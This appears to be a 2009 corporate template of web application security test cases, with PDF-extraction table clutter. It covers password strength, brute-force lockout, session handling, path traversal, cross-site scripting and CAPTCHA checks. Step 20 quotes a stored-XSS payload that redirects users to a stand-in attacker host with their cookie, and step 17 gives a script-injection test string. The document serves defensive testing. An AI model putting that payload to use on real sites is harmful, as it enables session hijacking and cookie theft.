Security Test Cases-

Security Test Cases

Authored By: Ahmed Abdulhamid Interactive Saudi Arabia Ltd. P.O. Box 301912 Riyadh 11372 Tel. +966 1 2013121 Ext. 132 Fax. +966 1 2013122 Mobile +966 53 4102470 http://www.il.com.sa 15 February 2009

© 2009, Interactive Saudi Arabia Limited. All rights reserved. This document or any part thereof may not, without the written consent of Interactive Saudi Arabia Limited (ISA), be copied, reprinted, or reproduced in any material from, including but not limited to photocopying, tanscribing, transmitting, or sorting it in any medium or translationg it into any language, in any form or by any means, be it electronic, mechanical, xerographic, optical, magnatic or otherwise. The information contained in this document is proprietry and confidential; all copyrights, trademarks, trade names, patents and other intellectual property rights in the documentation are the exclusive propery of ISA unless otherwise specified. The information (including but not limited to data, drawings, specification and documentation) shall not at any time, be disclosed directly or indirectly to any third party without the prior written consent of ISA. The information contained herein is believed to be accurate and reliable. ISA accepts no repsonsibility for its use by any means or in any way whatsoever. The indormation contained herein is subject to change without notice.

Security Test Cases

Number

Date Created

Created by

20

11/3/2009

Ahmed Abdulhamid

Description

Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues. This document doesn’t provide the complete list of all the vulnerabilities Test should be designed considering the following points  Probability of occurrence of event  Risk associated with each occurrence The different vulnerabilities for which web application should be tested are as follows:     

Authentication Session Management Error handling Cross Site scripting Anti-Automation

1- Authentication a- User guesses the password Pre-condition Post-condition

Description Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

1

Website registration page

1-check complexity

2

2-check password confirms and required length with combination of lower and upper case and special keywords

3

3-check that password doesn’t belong to dictionary

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

b- Brute Force attack Pre-condition Post-condition

Description

Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

4

User login page

1-check account lockout happens after few unsuccessful attempts

5

2-check the error message displayed doesn’t tells which part of authentication credentials are incorrect

6

3-Check the status failure or success after few seconds once the user enters the credentials

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

c- Password recovery validation Pre-condition Post-condition Description

The attack happens when the attacker illegally obtain, change another users password. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

7

Change/Forgott en password screen

1-check that change password screen have old password field mandatory 2-check to ensure that password field doesn’t have Auto complete feature “ON” 3-check the new password is not displayed in the screen but is send to user mail id 4- Check to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.

8

9

10

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

2- Session Management Description

Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-

a- Insufficient session Expiration Pre-condition

Post-condition Description

The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

11

All application pages

Check that the application logs off or session is expired after some time.

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

b- Session Hijacking Pre-condition Post-condition Description

If session ids are predictable, it is possibility that attacker can guess the session id and can use it. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

12

Any page after login

1- Check whether session ids are predictable. 2-Check multiple session of same user is not allowed 3- Check important data is transferred using HTTPS protocol

13 14

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

3- Error Handling Description

It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-

a- Path Traversal Pre-condition Post-condition

Description

Techniques used to access the files and folder which are outside the web root directory. If you have a website http://PCS.com/ex.html , just change the URL to point to some file which is not present for example http://PCS.com/any.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

15

Accessing the password file from the server

Check to validate the proper access control mechanism on the server. Test should be done so that error message doesn’t reveal too much of information. Test to validate the input URL.

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

b- Predictable resource location Pre-condition Post-condition Description

Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

16

1-Technique used to gain access to hidden content 2- use of sequential files in a folder

Check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them. for example www.PCS.com/myfiles/fil1. txt www.PCS.com/myfiles/fil2. txt www.PCS.com/myfiles/fil3. txt

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

4- Cross Site Scripting Description

In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-

a- Echo-type Cross scripting Pre-condition

Post-condition Description

In this the input is entered in some fields on the client machine which is echoed back from the server Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

17

User registration page

1-Check that proper validation is done from the server side Give the input <script>Hello World . When the form is submitted, the server echoes back and the script is executed showing the dialog box “Hello World’

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

18

2- Test to check the inputs doesn’t accepts the special character like <>

19

Turn off script

System display message “please turn on your script”

b- Stored cross scripting Pre-condition Post-condition Description

In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

20

Mail forum

Check scripting is allowed or not. Test for input validation so that it doesn’t contain special characters. Special characters are encoded.

The mail is stored in the server with input <script> document.locati on.replace ('http://hacker.c om/steal.cgi?'+d ocument. cookie) ;< /script>">. This redirects the user to attacker site and the cookie is stolen

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}

5- Anti-Automation Pre-condition Post-condition Description

Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality. Steps Step

Type

Description

Expected

{Test Case Step Number - i.e. 1}

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

21

User registration page

1-Check that registration process cannot be automated, it should include the manual entry also. Test to see if CAPTCHA is used. Test for avoiding Brute force attack.

Actual, if different from Expected {The actual result after the Test Step was executed. If different from the Test Step}

P/F

Date

By

{Pass/ Failed}

{Date Test Step was executed}

{Tester Initial}